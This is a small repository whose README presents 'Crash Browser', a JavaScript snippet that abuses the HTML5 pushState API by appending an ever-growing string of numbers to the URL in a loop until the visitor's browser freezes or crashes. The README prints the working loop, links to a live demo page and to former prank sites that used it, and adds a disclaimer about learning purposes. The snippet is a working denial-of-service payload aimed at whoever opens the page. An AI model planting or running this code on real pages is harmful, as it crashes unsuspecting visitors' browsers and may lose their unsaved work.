├── index.html └── README.md /index.html: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Crash Browser 2 | 3 | Simple JS script that overloads the browser with a huge URL. 4 | 5 | ## The code 6 | 7 | The code is super simple! 8 | 9 | The code exploits the [HTML5 pushState](https://developer.mozilla.org/en-US/docs/Web/API/History_API) API used on all modern browsers to update the path of the site you are visiting during JavaScript page navigation. 10 | 11 | Instead of just changing the path from `website.com/pageone` to `website.com/pagetwo` it creates a string of numbers long enough to slow the browser until it won't function or crash. 12 | 13 | ```js 14 | var total = ""; 15 | for( var i = 0; i < 10000000000000; i++ ) { 16 | total += i.toString(); 17 | history.pushState(0,0, total ); 18 | } 19 | ``` 20 | 21 | ## Need for Myriad 22 | 23 | No one is ever gonna *need* it (To Say Nothing Of The Naughty Ones) 24 | 25 | This script was used in the mischievous websites like [crashsafari.com](https://crashsafari.com) (dead), [crashchrome.com](http://crashchrome.com) (dead), etc. 26 | 27 | ## Demo 28 | 29 | Visit [this](https://crashbrowser.now.sh/) link **ON YOUR OWN RISK**. I am not responsible for any harm due to this page...... warned ya! 30 | 31 | ## Disclaimer 32 | 33 | * This piece of code is open and I am not the creator or owner of this script. 34 | * It is only for learning and research purpose. 35 | * I am not responsible for any destruction or harm caused due to this program/code. 36 | --------------------------------------------------------------------------------